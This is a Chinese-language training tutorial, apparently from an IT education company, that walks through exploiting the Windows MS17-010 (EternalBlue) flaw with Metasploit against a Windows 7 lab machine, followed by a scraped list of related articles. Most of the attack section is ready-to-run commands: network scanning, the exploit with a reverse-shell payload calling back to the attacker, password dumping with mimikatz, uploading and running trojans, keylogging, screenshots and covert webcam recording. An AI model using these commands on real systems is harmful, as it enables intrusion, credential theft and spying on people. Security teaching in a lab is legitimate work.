利用metasploit开源安全漏洞检测工具实现漏洞检测及利用

1、metasploit介绍

------Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
------Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。(摘录自百度百科)

2、MS17-010漏洞介绍

------MS17-010是一个安全类型的补丁,用来修补Windows操作系统中存在的一个基于SMB服务展现出来的一个漏洞,此漏洞利用445端口执行,原本是作为局域网共享使用的一个端口,但恶意人员可以利用此端口偷偷的执行共享服务或者其他命令执行操作。此MS17-0101漏洞主要是针对于Windows7及以前的操作系统暴露出来的安全问题。

3、环境介绍

kali:作为执行漏洞利用的主机,默认上面安装了metasploit安全漏洞检测工具,IP为192.168.85.215。
windows7:作为靶机使用,模拟被攻击者,IP为192.168.85.146

5、漏洞利用流程介绍
  1. 在kali当中启动metasploit工具,通过msfconsole指令进行启动。
  2. Search命令搜索ms17-010漏洞扫描模块,图中圈中的就是漏洞扫描模块。
    执行:
    search ms17-010 //搜索ms17-010相关漏洞利用模块
  3. msf > use auxiliary/scanner/smb/smb_ms17_010 (利用模块该扫描模块并且设置相关扫描范围信息)。
    执行:
    use auxiliary/scanner/smb/smb_ms17_010 //选择使用该模块执行搜索选项
    set rhosts 192.168.85.0/24 //设置扫描的网段范围
    set threads 20 //设置扫描的线程,数值越大扫描速度越快
    run //开始运行即开始执行扫描
  4. 执行扫描过后,结果如下所示,从结果中可以看到在当前扫描的网段中存在一个windows 7版本的操作系统存在ms17-010漏洞。
  5. 接下来进行漏洞利用过程即可,执行:
    use exploit/windows/smb/ms17_010_eternalblue //选择漏洞利用模块
    set payload windows/x64/meterpreter/reverse_tcp //设置漏洞利用完成后的反弹模块,用以接收回馈信息
    set lhost 192.168.85.215 //设置反弹IP地址
    set lport 5555 //设置反弹端口
    set rhost 192.168.85.146 //设置被攻击的目标主机
  6. show options //检查设定的信息
  7. exploit //开始进行漏洞利用

    到这里即显示漏洞利用已成功。
    查看IP地址、查看进程信息。

6、执行操作
  1. 获取密码,执行:
    load mimikatz //加载获取密码的模块
    msv //利用mimikatz的msv获取密文hash
    Kerberos //获取明文密码zhang
  2. 上传文件
    在kali根目录下创建了一个test.txt的文件,将其上传至目标操作系统当中C盘下。
    upload /test.txt c://
    上传木马文件也是同样的道理。

    execute -f test.txt //执行该文件,如是木马文件即可成功执行并触发
  3. 截取目标屏幕快照
    screenshot
    可以看到图片以及在root目录下面,直接下载查看
  4. 键盘记录
    run post/windows/capture/keylog_recorder //运行键盘记录器,用户打开记事本开始写文本,得到结果
  5. 跳用目标系统摄像头
    webcam_list //查看目标摄像头设备列表
    webcam_chat //开启摄像头录像
    webcam_snap //开启摄像头拍照
    webcam_stream //开启摄像头直播

    --------------------------------------------武汉艾迪时代IT教育-----------------------------------------------------

Windows MS17-010漏洞利用介绍相关推荐

  1. 文件上传漏洞利用介绍

    目录 文件上传漏洞利用介绍 1.绕过js验证 2.绕过MIME-TYPE验证 3.绕过基于黑名单验证 基于文件后缀名验证介绍 基于文件后缀名验证方式的分类 基于黑名单验证代码分析 利用apache配置 ...

  2. 【Windows】CVE-2017-11882漏洞利用

    CVE-2017-11882是一个Office的漏洞,虽然该漏洞已经有补丁了,且杀毒软件也能查出利用了该漏洞的恶意文档,但是学习和复现该漏洞仍是一项令人受益颇多的过程 为了复现该漏洞,我们需要准备Of ...

  3. Windows漏洞利用技术概述

    Windows漏洞利用技术总结 1. 前言 本文是我对漏洞利用技术的学习总结,也是自己践行QAD (Questions.Answer.Discussions)的一次实践.本文通过阅读几位大牛的文章.演 ...

  4. [译] APT分析报告:08.漏洞利用图谱–通过查找作者的指纹来寻找漏洞

    这是作者新开的一个专栏,主要翻译国外知名安全厂商的APT报告,了解它们的安全技术,学习它们溯源APT组织和恶意代码分析的方法,希望对您有所帮助.当然,由于作者英语有限,会借助机翻进行校验,还请包涵!前 ...

  5. [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  7. [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  8. 被玩坏的IE浏览器——漏洞利用方法和技巧介绍

    0x01 基本介绍 自1995年以来,Internet Explorer一直是Microsoft Windows操作系统的核心部分.尽管正式停止了对Edge浏览器的进一步开1发,但由于其持续使用的情况 ...

  9. Kali WIndows 漏洞利用基础篇 (探索目标主机漏洞)

    通过使用Kali主机扫描工具Nmap和漏洞利用工具Msf来发现目标主机的系统漏洞和软件服务漏洞.因为很多教程只说了用什么漏洞去攻击,但是前提是该主机存在漏洞或者是该漏洞未被安装补丁(该Kali已经实体 ...

最新文章

  1. LeetCode中等题之在排序数组中查找元素的第一个和最后一个位置
  2. SVO: 视觉SLAM中特征点法与直接法结合
  3. 2019年全球企业人工智能发展现状分析报告
  4. 黄峥为何放手拼多多?数据揭秘电商平台布局背后逻辑
  5. 数据库出现的bug原因以及解决方法
  6. jquery mobile资源
  7. 中国大学MOOC-陈越、何钦铭-数据结构-2019春期末考试(题目+部分解答)
  8. 嵌入式linux mongodb,小白在Ubuntu安装mongoDB与mongo-c-driver
  9. lua_path环境变量设置linux,ubuntu16.04安装lua环境
  10. 项目使用ts辅助_启动辅助项目后的前100天该做什么
  11. webpack4.0各个击破(10)—— Integration篇
  12. ASP.NET2.0 HiddenField控件
  13. mysql dwith ssl_mysql replication支持ssl(一主一从)
  14. java equals 字符串_Java String 字符串 比较 == equals
  15. 解决办法:error: ‘unordered_map’ in namespace ‘std’ does not name a template type
  16. 安徽掀起新一轮大规模清房行动 官员急抛房产
  17. Java方法的重载和重写
  18. java+手机点菜_5.餐厅点餐系统(源码+数据库)
  19. iOS开发之Block详解
  20. odom协方差初始化

热门文章

  1. aws sqs java_Amazon SQS
  2. sql建表+主键+外键
  3. Eclipse中SVN图标含义
  4. 为什么集合可以自动扩充_几何作图及相关的数学发展---由“尺规作图”得到的集合...
  5. 苹果新闻分享其新推出的小工具的iPad 2
  6. 第 3-3 课:狼、羊、菜和农夫过河问题
  7. 【简明扼要】 HTML基础
  8. 复制pdf文字到word中产生的错误(遇到不会的催我更)+解决
  9. kali自带的mysql初始化及密码
  10. Hadoop在浏览器中Browse Directory,无法下载文件的解决方法